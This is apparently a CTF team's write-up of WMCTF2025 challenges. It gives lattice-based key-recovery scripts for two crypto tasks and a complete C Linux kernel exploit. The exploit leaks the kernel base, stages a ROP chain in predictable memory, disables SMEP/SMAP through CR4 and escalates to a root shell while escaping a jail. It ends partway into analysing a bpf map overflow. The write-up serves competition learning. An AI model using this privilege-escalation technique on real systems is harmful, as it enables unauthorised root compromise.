本次 WMCTF2025 XMCVE-Polaris 战队排名第 6 。
排名 | 队伍 | 总分 |
---|---|---|
1 | MNGA | 9692 |
2 | SU | 6709 |
3 | 0psu3 | 6709 |
4 | Syclover | 5769 |
5 | Vidar-Team | 5717 |
6 | Polaris | 5233 |
7 | r4kapig | 4712 |
8 | emmmm | 3815 |
9 | HNexus | 3801 |
10 | DAWN | 3741 |
Crypto
SplitMaster
本地测试发现拿到23组b的低24bit的可以打HNP得到key。但只有20次交互机会,于是拿10组6 + 24bit 低位(爆1位就是31bit) 以及10组24bit低位。构造这样的格
规约出b的高位,再通过
def split_master(B_decimal, segment_bits):
if len(segment_bits) < 3:
raise ValueError("no")
if sum(segment_bits) != 512:
raise ValueError("no")
n = len(segment_bits)
found_combination = None
for k in range(n,1,-1):
from itertools import combinations
for indices in combinations(range(n), k):
if sum(segment_bits[i] for i in indices) > 30:
continue
valid = True
for i in range(len(indices)):
for j in range(i+1, len(indices)):
if abs(indices[i] - indices[j]) <= 1:
valid = False
break
if not valid:
break
if not valid:
continue
if 0 in indices and (n-1) in indices:
continue
if any(segment_bits[i]>=25 for i in indices):
continue
found_combination = indices
break
if found_combination is not None:
break
if found_combination is None:
raise ValueError("no")
binary_str = bin(B_decimal)[2:].zfill(512)
if len(binary_str) > 512:
raise ValueError("no")
segments_binary = []
start = 0
for bits in segment_bits:
end = start + bits
segments_binary.append(binary_str[start:end])
start = end
segments_decimal = [int(segment, 2) for segment in segments_binary]
return [segments_decimal[i] for i in found_combination]
def get_leak31(gift):
leak = bin(gift[0])[2:].zfill(6) + '?' + bin(gift[1])[2:].zfill(24)
return leak
def get_leak24(gift):
leak = bin(gift[-1])[2:].zfill(24)
return leak
def test_leak31(b,input):
gift = split_master(b,input)
leak = bin(gift[0])[2:].zfill(6) + '?' + bin(gift[1])[2:].zfill(24)
return leak
def test_leak24(b,input):
gift = split_master(b,input)
leak = bin(gift[-1])[2:].zfill(24)
return leak
def attack(leaks):
n = len(leaks)
M = Matrix(QQ,n+2,n+2)
for i in range(n):
M[i,i] = q
if i < 10:
M[-2,i] = A[i]*inverse(2^31,q) % q
M[-1,i] = -leaks[i]*inverse(2^31,q) % q
else:
M[-2,i] = A[i]*inverse(2^24,q) % q
M[-1,i] = -leaks[i]*inverse(2^24,q) % q
bits = 512 - 24
t = QQ(2^bits / q)
K = 2^bits
M[-2,-2] = t
M[-1,-1] = K
M[:,:10] *= 2^7
for line in M.LLL():
if abs(line[-1]) == K:
b1_high = abs(line[0]) // 2^7
b1 = b1_high * 2^31 + leaks[0]
secret = b1 * inverse(A[0],q) % q
if isPrime(secret) and int(secret).bit_length() == 512:
return secret
else:
secret += q
return secret
from Crypto.Util.number import *
from itertools import product
from pwn import *
sh = remote("49.232.42.74",30886)
sh.recvline()
q = int(sh.recvline().strip().decode().split(':')[-1])
print(f"q = {q}")
input1 = b"481 6 1 24"
input2 = b"25 1 462 24"
A = []
leaks_partial = []
print("开始获取数据")
for i in range(10):
sh.sendlineafter(b">",input1)
a = int(sh.recvline().strip().decode().split(':')[-1])
gift = eval(sh.recvline().strip().decode().split(':')[-1])
A.append(a)
leaks_partial.append(get_leak31(gift))
for i in range(10):
sh.sendlineafter(b">",input2)
a = int(sh.recvline().strip().decode().split(':')[-1])
gift = eval(sh.recvline().strip().decode().split(':')[-1])
A.append(a)
leaks_partial.append(get_leak24(gift))
print("数据获取完毕")
combos = ['0', '1']
num_brute_force = 10
all_combos = product(combos, repeat=num_brute_force)
print(f"开始对前 {num_brute_force} 组数据进行爆破...")
for current_combos in all_combos:
leaks_for_attack = [0] * len(leaks_partial)
# 填充要爆破的数据集
for i in range(num_brute_force):
combo = current_combos[i]
complete_bin = leaks_partial[i].replace('?', combo)
leaks_for_attack[i] = int(complete_bin, 2)
# 填充剩余的leaks
for i in range(num_brute_force, len(leaks_partial)):
leaks_for_attack[i] = int(leaks_partial[i], 2)
found_key = attack(leaks_for_attack)
test_b1 = [A[i] * found_key % q for i in range(10)]
if all(test_leak31(test_b1[i],[481,6,1,24]) == leaks_partial[i] for i in range(10)):
print(found_key)
sh.sendlineafter(b"the key to the flag is: ",str(found_key).encode())
print(sh.recvline().strip().decode())
# WMCTF{Th3_d1ff1culty_Is_up_t0_y0u}
IShowSplit
通过给出的gift可以把key写作
其中gift
似乎是用来验证求出的key是否正确的。
给出10组
其中
取两组消去key,再把s展开
记
def split_master(B_decimal, segment_bits):
if len(segment_bits) < 3:
raise ValueError("no")
if sum(segment_bits) != 512:
raise ValueError("no")
n = len(segment_bits)
found_combination = None
for k in range(n,1,-1):
from itertools import combinations
for indices in combinations(range(n), k):
if sum(segment_bits[i] for i in indices) > 30:
continue
valid = True
for i in range(len(indices)):
for j in range(i+1, len(indices)):
if abs(indices[i] - indices[j]) <= 1:
valid = False
break
if not valid:
break
if not valid:
continue
if 0 in indices and (n-1) in indices:
continue
if any(segment_bits[i]>=25 for i in indices):
continue
found_combination = indices
break
if found_combination is not None:
break
if found_combination is None:
raise ValueError("no")
binary_str = bin(B_decimal)[2:].zfill(512)
if len(binary_str) > 512:
raise ValueError("no")
segments_binary = []
start = 0
for bits in segment_bits:
end = start + bits
segments_binary.append(binary_str[start:end])
start = end
segments_decimal = [int(segment, 2) for segment in segments_binary]
return [segments_decimal[i] for i in found_combination]
p=7159749741429322755131240146118071759513715820993285825839372472474407666017557572129271731613358007058734527689330441569348431807180112353088919340436347
A=[6099484397780065687822398499925956660167123649401003086450429553387635127108172239381711192830201627868739985455478039493705929385423995630816089813826652, 89722133899180146464100891510163842168405798298452823483063318133678868709451123173510945333104825653032959450315649783796310151123989041792721415722484, 6852373640840439902263069245352036561377612959731529442657261290464193432386684112062098796260781796040393491512167644773780010990517598995340849012156752, 905572447043025859658716967933649489546055535993585428025481014254600350130412634867260097168151503405254514553766823286383565893018173373564554336056693, 4619203611445979770240267215110891760841947947738244443460262136009336416179092898214434705455167036725713675890810610700106198084790551650093160195275702, 3069238570521651083095142261917310941562970802732278543454193591033820858125892411024150728211080137659037098102856608536404922668196774692048992081648551, 2072290141156875572599510174743549619222963372822414855220494223803795956351998912692844952044029330311821434784805742487737048376693843981146845532811418, 4118630348835299974900731058046317343585580076694977535798202938226187304960635726712385771299418425062431822315135332845240129948946520330840063372710812, 5494897767679702083905262716715474988716617413297387287978901109122932238365802120197755794026314539468927208231771384572456104728695543349076171476106692, 5242904898120293050194404817363504806316489104114848367489798169501727630568797399722291273601688449269113866312614390323808528035310223034076071688527093]
B=[2225881589521184173065274225912017053067069649965432632423136697355986574624766674385247816885344883664964124555071710934403200036986056742665338710501199, 6648320309177586281256682217887823816445310746588184022611740437856487828841524257412678979289757558617628247133981523476180196883192489542467687175493866, 1368643343865975119970439821808519233195197253476459608302319415282308653927922072355125801570423137124789823080768464141261145798676583005521122600184021, 4757972435898893943050634851470164873875968802674701938325764517462502213399385660925464222079964582272246709905040569303916540860368398046797311634207119, 3491493600654315810383896038657359020801782746573223354229968950004336723011925225140197224620617196713846979463196337854602425927920594332253840267066287, 5812910599586334226756848369194045700041602130860303332014243049211324518168755764068940745746358136899818045819591702608213306673108319488577075164061902, 5286480909173195769260613883921498519696474112632193807758953252056528658290642833837928174403014629586637399671995087032742056865191425515352773317139947, 5990084243427240363832897819696345106790895509165460228212982648304258173654753003702718799678678397988011691031933597893892134441380835867546094903910961, 4657207884013678545225122398830559190905549085156416548267023047411835416409008088567237198440378272503925106822333599825940007094045484876222921444207859, 4337342732185682149995046884384392099143035562597116814453255157188836395606408153375003404584342070812600880379801960599561396105172991519802949392096959]
R=[[5437342344417526961447037102420381576182242917002824736531383988448576795401348337669838142255293777506485879415403692176729738237621696959342977281065396, 118207420592466754679295752653401966487038067694232692642557897325071960359432451312279399266748403346434433562012104799520263992802423378954266828804131, 7096197247368703535624516822532525663824053041765748785834200261711792994365801659587654582314309510718479268191354720373426303224114439156530646421389487], [2048337393654342724878996996835462937898615364747266814141518152181142819685131064444737246705773125581643549980403948577060721913752092536246991248488798, 4032915799560554709639638304258383923016302450145031749214368211030759499850002173909365184297695024196808815382820437454460747458506629192382539028901160, 4232871593307892145191764881832084004817150942430800176840205014538991625057835110518374643680800074286367340775128361231313202429848296012489919924979266], [2553386960937591100090865827289064489951927968995578370310341693487902315425241611375327831218812187817696136311487587016400127802098102736127873401818913, 5823670592022005462447151598758745521401539301567430301030393638437006554138239970651467866637510447017480176716140423825242961163243963505222273874838613, 5774084025457416187346689800934856256827564486310334723289121828349816917057440353481035763960569668502226684658505097070668779989218703360744064625684871], [7046572309712543369992700561219588655579833588142366002445356785295649361641707579997338719645976088701747288198545152391667165237528203051491380206476100, 3086411743880543388057778894558929465483005347509988210044202022882123069984407733408405454699097438747656268706316626496116194702187510362704226701362680, 3824920704333716278162115284149190730865231866245771161577917822721893196275454552093227654236325852790896150665403865418453038676291626669950621607864235], [6760618245898750953819376194151632666239738960636983938459565687242233704064651489179662554150497876748082273757875418325340597777457003363001123655534527, 4343397856990866281857795612386217816895468511981051731094731266904611655944226707430233814074001565540730803579725372227013575628572646210241319814714476, 7126011694277861782468567565693664008866580617261568379233477615778205440306291716911745585348838954153812439519950532595352182974188212855768277246923419], [2953923187831173071776186551032070259914505167253362070557203382982396081492190509064486405525934004929672640497574202986456906310807830423216504796476927, 1345669062441589204474792668690191778211085836386374497142860395037294956095491918997725669029150439803057766748915079527876461488078624845798404978671362, 6975771805724338057550497476188442963101655123133481610941634405619501180059972427132933469246923537067484663454770321483398210207386857564548399452193784], [613595431074082703746546668753146025816666490902587228756275516028887275638378432031652661608234989583525385999489844534573227312653028029927921272453512, 4123105910746992373978630252040464408125059102592223292674058753777019714209155710896007043366563874898777820917476610249503568925138753611543704471760303, 989555937865263901715230959831678853496396994080634488540356871394920097958240471950255879798889334377502384605373832255522749450694078070958912976709214], [5535837862012327812765107969360670846116191751375838521859633639946929019321243840486291205554534270213183060274542457089991919161794065714297577071253492, 2217022003356883793255174224244083193207752640022692463419248286782028965975927441224003452590436406144452759467937867082143500151445862797223973537424326, 4169012965258555766659454909927125486691566973583123755296718808398491419295598806865374588756721952326039465076613735671092746736038930739233766233317746], [2460973952017922432127354291027776825014962112677929880673566789249322210046943034298740329681812324994822480424953136978723367413424675867422535483400994, 6525560390886316331291464628669910149125483607726248566635546904534294626062586662528213108239725365594595677881216065984903337839878980240035564934046552, 5267455846476800778837810675968652912499902190539148131941469838044707979168868352552242860860469415418625601143261920057498327632704722410629571902757207], [2836101201606404086963674515196242099981794676200180367684860793033271859982764426617335526949325589855895823167197136257361757221153866636871210172909499, 2905746791428321890819637325300810834453495282574466482434863215508033662223795925912808993026408194967015679126821486382496994000126841698935066307107806, 6179734411062461009407000122687973511105948755170244204181450729410647901986426188970783453277592832386486628788023466433324078852891442496360969724173650]]
gift=[841309, 840]
C = [(A[i] * B[0] - A[0] * B[i]) % p for i in range(1, 10)]
K = 2^256
M = Matrix(ZZ,40,40)
for i in range(9):
M[i,i] = p
M[-1,i] = C[i]
for i in range(9,39):
if i % 3 == 0:
M[i,i] = 2^192
if i % 3 == 1:
M[i,i] = 2^128
if i % 3 == 2:
M[i,i] = 1
M[-1,-1] = K
num_l = 9 # 列 0..8 对应 l1..l9
num_k = 30 # 列 9..38 对应 k_{0,1..3}, k_{1,1..3}, ..., k_{9,1..3}
# 列索引映射:样本 s (0..9), j (0..2)
def col_idx(s, j):
return num_l + s*3 + j # s=0 -> cols 9,10,11 ; s=1 -> 12,13,14 ; ... s=9 -> 36,37,38
# 1) 填 k_{0,*} 行中的前 9 列:这些行是行索引 = col_idx(0,j)
# 对应矩阵元素 M[row, c] = A[c+1] * R[0][j] (c=0..8 对应 A1..A9)
for j in range(3): # j = 0,1,2 对应 k_{0,1..3}
row = col_idx(0, j)
for c in range(num_l): # c = 0..8 对应 l1..l9
# 注意:A[0] 是 A0;A1..A9 在 A[1]..A[9]
M[row, c] = Integer(A[c+1] * R[0][j])
# 2) 填每个 i=1..9 的 k_{i,*} 行:这些行是 row = col_idx(i, j)
# 在这些行的第 (i-1) 列 放 -A0 * R[i][j]
# 其余前9列为0(已初始化为0)
for i in range(1, 10): # i = 1..9
for j in range(3): # j = 0..2
row = col_idx(i, j)
col = i - 1 # l_i 对应列 index i-1
M[row, col] = Integer(- A[0] * R[i][j])
M[:,:9] *= 2^1000
res = M.LLL()[0][9:-1]
K = []
for i in range(len(res)):
if i % 3 == 0:
k = abs(res[i]) // 2^192
K.append(k)
if i % 3 == 1:
k = abs(res[i]) // 2^128
K.append(k)
if i % 3 == 2:
k = abs(res[i])
K.append(k)
k01,k02,k03 = K[:3]
r01,r02,r03 = R[0]
key = (B[0] - (r01*k01 + r02*k02 + r03*k03) % p) * inverse(A[0],p) % p
assert split_master(key,[182,20,200,10,100]) == gift
flag="WMCTF{"+md5(str(key).encode()).hexdigest()+"}"
print(flag)
# WMCTF{ed27074de5c476e67328e04b6e27a5b8}
PWN
wm_easyker
一次内核任意地址读+清空寄存器然后标准栈迁移
栈迁移 ret2I_Dont_Know
先任意地址读 IDT table
泄漏 kbase
,然后观察如下代码片段:
for (int i = 0; i < 0x100000 / 0x1000; i++) {
strcpy(buf+i*0x1000, "XiaozaYaPwner");
}
for (int i = 0; i < 0x100; i++) {
if (prctl(PR_SET_NAME, buf, 0, 0, 0) != 0) {
err_exit("cannot set name");
}
}
免责声明:
赛后测试发现似乎跟
prctl
没啥关系,脚本中的东西似乎在内核态都会有两份映射,一份在直接映射区,一分在0xffffffffxxxxxxxx
。我把prctl
去掉相关数据还是会被映射上去【其实以前搜索字符串的时候有时就会出现这种情况】具体原理请读者仔细研究,这里仅仅从漏洞利用的角度,知道其存在映射即可。不知道是其
qemu
等原因,还是linux kernel
的机制就这样
上述代码会产生如下效果:
gef> search-pattern XiaozaYaPwner
[+] Searching for 'XiaozaYaPwner' in whole memory
[+] In (0xffff9c6382b77000-0xffff9c6382c00000 [rw-] (0x89000 bytes)
0xffff9c6382b91628: 58 69 61 6f 7a 61 59 61 50 77 6e 65 72 00 00 00 | XiaozaYaPwner... |
[+] 0xffff9c638ca00000-0xffff9c639fe00000 is skipped due to size (0x13400000) >= MAX_REGION_SIZE (0x10000000)
[+] In (0xffffffff9ae00000-0xffffffff9b000000 [rw-] (0x200000 bytes)
0xffffffff9ae87050: 58 69 61 6f 7a 61 59 61 50 77 6e 65 72 00 ff ff | XiaozaYaPwner... |
......
0xffffffff9aeff050: 58 69 61 6f 7a 61 59 61 50 77 6e 65 72 00 ff ff | XiaozaYaPwner... |
gef> kbase
[+] Wait for memory scan
kernel text: 0xffffffff98800000-0xffffffff99a00000 (0x1200000 bytes)
kernel rodata: 0xffffffff99a00000-0xffffffff9a0aa000 (0x6aa000 bytes)
kernel data: 0xffffffff9a0aa000-0xffffffff9ace5000 (0xc3b000 bytes)
gef> v2p 0xffffffff9aece050
Virt: 0xffffffff9aece050 -> Phys: 0xcace050
gef> p2v 0xcace050
Phys: 0xcace050 -> Virt: 0xffff9c638cace050
Phys: 0xcace050 -> Virt: 0xffffffff9aece050
Total 2 results are found
gef> vmmap
0xffffffff98800000-0xffffffff99a00000 0x000000000a400000-0x000000000b600000 0x1200000 0x200000 9 [R-X KERN ACCESSED GLOBAL] <================================ kernel text
0xffffffff99a00000-0xffffffff9a000000 0x000000000b600000-0x000000000bc00000 0x600000 0x200000 3 [R-- KERN ACCESSED GLOBAL] <================================ kernel rodata_0
0xffffffff9a000000-0xffffffff9a0aa000 0x000000000bc00000-0x000000000bcaa000 0xaa000 0x1000 170 [R-- KERN ACCESSED GLOBAL] <================================ kernel rodata_1
0xffffffff9a0aa000-0xffffffff9a200000 0x000000000bcaa000-0x000000000be00000 0x156000 0x1000 342 [RW- KERN ACCESSED GLOBAL] <================================ kernel data_0
0xffffffff9a200000-0xffffffff9aa00000 0x000000000be00000-0x000000000c600000 0x800000 0x200000 4 [RW- KERN ACCESSED DIRTY GLOBAL] <================================ kernel data_0
0xffffffff9aa00000-0xffffffff9ace5000 0x000000000c600000-0x000000000c8e5000 0x2e5000 0x1000 741 [RW- KERN ACCESSED DIRTY GLOBAL] <================================ kernel data end
0xffffffff9ace5000-0xffffffff9ace6000 0x000000000c8e5000-0x000000000c8e6000 0x1000 0x1000 1 [R-- KERN ACCESSED GLOBAL] <================================ map0
0xffffffff9ace6000-0xffffffff9ae00000 0x000000000c8e6000-0x000000000ca00000 0x11a000 0x1000 282 [RW- KERN ACCESSED DIRTY GLOBAL] <================================ map1
0xffffffff9ae00000-0xffffffff9b000000 0x000000000ca00000-0x000000000cc00000 0x200000 0x200000 1 [RW- KERN ACCESSED DIRTY GLOBAL] <================================ >_< target_map
映射了一块内存,保存着用户态设置的数据,但是观察可以发现 kernel data | map0 | map1 | target_map
是连续的,所以在泄漏了 kbase
后就可以预测 target_map
的地址,所以可以在 target_map
上放置 rop chain
这里让我想到了
mmap
映射的逻辑
ret2usr
可以栈迁移后就是寻找 gadget
构造 rop chain
逃逸 jail
了,但是我发现很多 gadget
都找不到,最后找到如下有趣的 gadget
:
0xffffffff81efe18a: mov cr4,rbx
0xffffffff81efe18d: test rdx,rdx
0xffffffff81efe190: je 0xffffffff81efe1a9
0xffffffff81efe192: mov rsi,QWORD PTR [rdx]
0xffffffff81efe195: mov rdi,QWORD PTR [rdx+0x8]
0xffffffff81efe199: mov rcx,0x200
0xffffffff81efe1a0: rep movs QWORD PTR es:[rdi],QWORD PTR ds:[rsi]
0xffffffff81efe1a3: mov rdx,QWORD PTR [rdx+0x10]
0xffffffff81efe1a7: jmp 0xffffffff81efe18d
0xffffffff81efe1a9: jmp r8
可以看到如果我们提前设置好 rbx | rdx | r8
,就可以先关闭 smap|smep
,然后直接 jmp
到用户态,从而避免 gadget
的寻找
exploit
最后 exploit
如下:
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <sys/prctl.h>
#define REDS "\033[31m\033[1m"
#define REDE "\033[0m"
#define fail_exit(msg) { printf(REDS"[Error %s, %d line, %s]: %s\n"REDE, \
__FUNCTION__, __LINE__, __FILE__, msg);\
exit(-1); }
void err_exit(char *msg) {
perror(msg);
sleep(2);
exit(EXIT_FAILURE);
}
void info(char *msg) {
printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}
void hexx(char *msg, size_t value) {
printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}
void binary_dump(char *desc, void *addr, int len) {
uint64_t *buf64 = (uint64_t *) addr;
uint8_t *buf8 = (uint8_t *) addr;
if (desc != NULL) {
printf("\033[33m[*] %s:\n\033[0m", desc);
}
for (int i = 0; i < len / 8; i += 4) {
printf(" %04x", i * 8);
for (int j = 0; j < 4; j++) {
i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 32 && j + i * 8 < len; j++) {
printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
}
puts("");
}
}
/* root checker and shell poper */
void get_root_shell(void)
{
if(getuid()) {
puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
sleep(2);
exit(EXIT_FAILURE);
}
puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");
system("/bin/sh");
/* to exit the process normally, instead of segmentation fault */
exit(EXIT_SUCCESS);
}
/* userspace status saver */
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
asm volatile (
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}
/* bind the process to specific core */
void bind_core(int core) {
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}
typedef struct req {
unsigned long kernel_addr;
unsigned long user_addr;
}req;
size_t g_commit_creds = 0;
size_t g_find_task_by_vpid = 0;
size_t g_switch_task_namespace = 0;
size_t g_copy_fs_struct = 0;
size_t g_init_cred = 0;
size_t g_init_fs = 0;
size_t g_init_nsproxy= 0;
int (*commit_creds_kfunc)(void *cred);
void* (*find_task_by_vpid_kfunc)(int pid);
void (*switch_task_namespace_kfunc)(void *p, void* new);
void* (*copy_fs_struct_kfunc)(void* old);
int pid = 0;
void ret2usr_attack(void)
{
commit_creds_kfunc = (int (*)(void*)) g_commit_creds;
find_task_by_vpid_kfunc = (void* (*)(int)) g_find_task_by_vpid;
switch_task_namespace_kfunc = (void (*)(void*, void*)) g_switch_task_namespace;
copy_fs_struct_kfunc = (void* (*)(void*)) g_copy_fs_struct;
(*commit_creds_kfunc)(g_init_cred);
void* task = find_task_by_vpid_kfunc(1);
switch_task_namespace_kfunc(task, g_init_nsproxy);
void* new_fs = copy_fs_struct_kfunc(g_init_fs);
void* current = find_task_by_vpid_kfunc(pid);
*(size_t*)((size_t)current+0x798) = new_fs;
asm volatile(
"mov rax, user_ss;"
"push rax;"
"mov rax, user_sp;"
"sub rax, 8;" /* stack balance */
"push rax;"
"mov rax, user_rflags;"
"push rax;"
"mov rax, user_cs;"
"push rax;"
"lea rax, get_root_shell;"
"push rax;"
"swapgs;"
"iretq;"
);
}
int main() {
save_status();
bind_core(0);
pid = getpid();
char buf[0x100000] = { 0 };
unsigned long* pbuf = buf;
int fd = open("/dev/wmeasyker", O_RDWR);
if (fd <= 0)
err_exit("Failed to open /dev/wmeasyker");
unsigned long addr = 0;
req req = { .user_addr = &addr, .kernel_addr = 0xfffffe0000000000+4};
ioctl(fd, 0x8888, &req);
unsigned long kbase = addr - 0x1008e00;
unsigned long koffset = kbase - 0xffffffff81000000;
unsigned long name_addr = kbase + 0x18aa010 + 0x1000*0xa50 + ((unsigned long)buf&0xfff);
hexx("buf_addr", buf);
hexx("addr", addr);
hexx("koffset", koffset);
hexx("kbase", kbase);
hexx("name_addr", name_addr);
unsigned long pop_rdi = 0x301db9 + kbase;
unsigned long ret = 0xffffffff8100041e + koffset; // ret;
unsigned long init_cred = 0x1a50f60 + kbase;
unsigned long commit_creds = 0xc38b0 + kbase;
g_init_cred = init_cred;
g_commit_creds = commit_creds;
g_init_fs = 0xffffffff82b6de20+koffset;
g_init_nsproxy = 0xffffffff82a50a80+koffset;
g_copy_fs_struct = 0xffffffff81357c40+koffset;
g_find_task_by_vpid = 0xffffffff810b8ce0+koffset;
g_switch_task_namespace = 0xffffffff810c1670+koffset;
//hexx("pop_rdi", pop_rdi);
for (int i = 0; i < 0x100000 / 8; i++) {
pbuf[i] = ret;
}
// ======> gadget 找不到放弃(: 悲
unsigned int idx = 0;
// pbuf[0x8000 / 8 - 0x500+idx++] = pop_rdi;
// pbuf[0x8000 / 8 - 0x500+idx++] = init_cred;
// pbuf[0x8000 / 8 - 0x500+idx++] = commit_creds;
// pbuf[0x8000 / 8 - 0x500+idx++] = pop_rdi;
// pbuf[0x8000 / 8 - 0x500+idx++] = 1;
// 0xffffffff810b8ce0: find_task_by_vpid
// 0xffffffff810ecf03: pop rcx; ret;
// 0
// 0xffffffff81024fcc: push rax; ret;
// pop_rdi
// 0xffffffff810382d2: push rsi; ret;
// 0xffffffff82a50a80 D init_nsprox
// 0xffffffff810c1670 T switch_task_namespace
// pop_rdi
// 0xffffffff82b6de20 D init_fs
// 0xffffffff81357c40 T copy_fs_struct
// push_rax
// 0xffffffff8106a167: pop rbx; ret;
// pop_rdi
// getpid()
// find_task_by_vpid
// pop_rcx
// current->fs
// 还是想办法 ret2usr 吧(:
// ========> 搞半天发现 0xffffffff81301d42 是只读的(: 悲
//hexx("mov cr4, rdi", 0xffffffff81049426 + koffset);
unsigned long execbuf = mmap(0, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
for (int i = 0; i < 0x1000 / 8; i++) {
*(size_t*)(execbuf + i*8) = ret;
}
pbuf = execbuf;
pbuf[256+idx++] = 0xffffffff81004d20+koffset;
pbuf[256+idx++] = ret2usr_attack;
pbuf[256+idx++] = 0;
pbuf[256+idx++] = 0;
pbuf[256+idx++] = 0;
pbuf[256+idx++] = 0;
pbuf[256+idx++] = 0;
pbuf[256+idx++] = 0;
pbuf[256+idx++] = 0xffffffff8106a167+koffset; // pop_rbx ; ret
pbuf[256+idx++] = 0x6f0;
pbuf[256+idx++] = 0xffffffff81301d42+koffset; // pop rdx ; ret
pbuf[256+idx++] = 0;
pbuf[ 256+idx++] = 0xffffffff81efe18a+koffset;
idx = 0;
pbuf = buf;
hexx("execbuf", execbuf);
/*
pbuf[0x8000 / 8 - 0x500+idx++] = pop_rdi;
pbuf[0x8000 / 8 - 0x500+idx++] = kbase+0x18067f0;
pbuf[0x8000 / 8 - 0x500+idx++] = 0xffffffff8165a0a7 + koffset; // pop_rsi
pbuf[0x8000 / 8 - 0x500+idx++] = 0xffffffff81049437 + koffset;
pbuf[0x8000 / 8 - 0x500+idx++] = 0xffffffff81301d42 + koffset; // pop rdx ; ret
pbuf[0x8000 / 8 - 0x500+idx++] = 4;
pbuf[0x8000 / 8 - 0x500+idx++] = 0xffffffff81f2cb00 + koffset; // copy
pbuf[0x8000 / 8 - 0x500+idx++] = pop_rdi;
pbuf[0x8000 / 8 - 0x500+idx++] = 0x6f0;
pbuf[0x8000 / 8 - 0x500+idx++] = 0xffffffff81049426 + koffset; // mov cr4, rdi ; jmp 0xffffffff81049445
pbuf[0x8000 / 8 - 0x500+idx++] = execbuf;
*/
// =========> 找到一个不错的 mov cr4,rbx gadget 我终于笑了(:
/*
0xffffffff81004d20: pop r8
0xffffffff81004d22: pop rax
0xffffffff81004d23: pop rcx
0xffffffff81004d24: pop rdx
0xffffffff81004d25: pop rsi
0xffffffff81004d26: pop rdi
0xffffffff81004d27: pop rbp
0xffffffff81004d28: ret
0xffffffff81efe18a: mov cr4,rbx
0xffffffff81efe18d: test rdx,rdx
0xffffffff81efe190: je 0xffffffff81efe1a9
0xffffffff81efe192: mov rsi,QWORD PTR [rdx]
0xffffffff81efe195: mov rdi,QWORD PTR [rdx+0x8]
0xffffffff81efe199: mov rcx,0x200
0xffffffff81efe1a0: rep movs QWORD PTR es:[rdi],QWORD PTR ds:[rsi]
0xffffffff81efe1a3: mov rdx,QWORD PTR [rdx+0x10]
0xffffffff81efe1a7: jmp 0xffffffff81efe18d
0xffffffff81efe1a9: jmp r8
*/
for (int i = 0; i < 0x100000 / 0x1000; i++) {
strcpy(buf+i*0x1000, "XiaozaYaPwner");
idx = 0;
pbuf[i*0x1000/8 + 256+idx++] = 0xffffffff81004d20+koffset;
// pbuf[i*0x1000/8 + 256+idx++] = execbuf;
pbuf[i*0x1000/8 + 256+idx++] = ret2usr_attack;
pbuf[i*0x1000/8 + 256+idx++] = 0;
pbuf[i*0x1000/8 + 256+idx++] = 0;
pbuf[i*0x1000/8 + 256+idx++] = 0;
pbuf[i*0x1000/8 + 256+idx++] = 0;
pbuf[i*0x1000/8 + 256+idx++] = 0;
pbuf[i*0x1000/8 + 256+idx++] = 0;
pbuf[i*0x1000/8 + 256+idx++] = 0xffffffff8106a167+koffset; // pop_rbx ; ret
pbuf[i*0x1000/8 + 256+idx++] = 0x6f0;
pbuf[i*0x1000/8 + 256+idx++] = 0xffffffff81301d42+koffset; // pop rdx ; ret
pbuf[i*0x1000/8 + 256+idx++] = 0;
pbuf[i*0x1000/8 + 256+idx++] = 0xffffffff81efe18a+koffset;
}
hexx("mov cr4,rbx", 0xffffffff81efe18a+koffset);
//memset(buf, 'X', sizeof(buf));
for (int i = 0; i < 0x100; i++) {
if (prctl(PR_SET_NAME, buf, 0, 0, 0) != 0) {
err_exit("cannot set name");
}
}
// getchar();
ioctl(fd, 0x9999, &name_addr);
getchar();
puts("[!] EXP END!");
return 0;
}
WMKbpf
漏洞分析
总共是4个功能,map_init、del_cmd用于将bpf map载入数组,write_cmd和read_cmd用于操作map。
查看map_init会发现有类型和value_size限制,必须保证是BPF_MAP_ARRAY_TYPE,且size大于3。
read_cmd调用map_lookup_elem来获取数据。
write_cmd则是直接获取value指针并往里面写入数据
这里的write_cmd存在漏洞,可以看到循环退出条件是v19 < v14,v14是循环索引,实际上等于v14 <= v19则继续,v19代表轮数,这里很明显多了1轮,从而导致溢出。
利用思路
先得了解到array类型的bpf map,其elem_size会向上8字节对齐,堆块构造需要注意到这一点。
这里因为只有一轮的溢出,所以我们要尽可能的设置我们的array足够大,才能更好的淹没下一个堆块的大部分内容。bpf_array本身具有0x150的大小,因此我们选择申请构造0x400大小的堆块。
开了nsjail沙盒,限制了很多系统调用,这里我们尽可能的只使用bpf的结构体进行利用。而bpf_array.bpf_map的首8字节是我们的ops,可以通过溢出控制这个ops进行利用。
还需要知道本题只开了kaslr,其地址的低3个字节都不会参与随机化,因此我们可以通过构造将溢出的字节数控制到1-3个字节来实现指针劫持。
由此可以通过申请value_size=0x159, max_entries=1来构造淹没两字节的堆块。
0x150 + 0x159*2 = 0x402
先前有提到read_cmd会调用map_lookup_elem的函数指针,如果我们可以通过控制ops的低两个字节,就可以让其调用ops中的任意函数。
我们选择劫持ops使其减去0x48指向我们的array_map_free,从而释放我们的bpf_array。
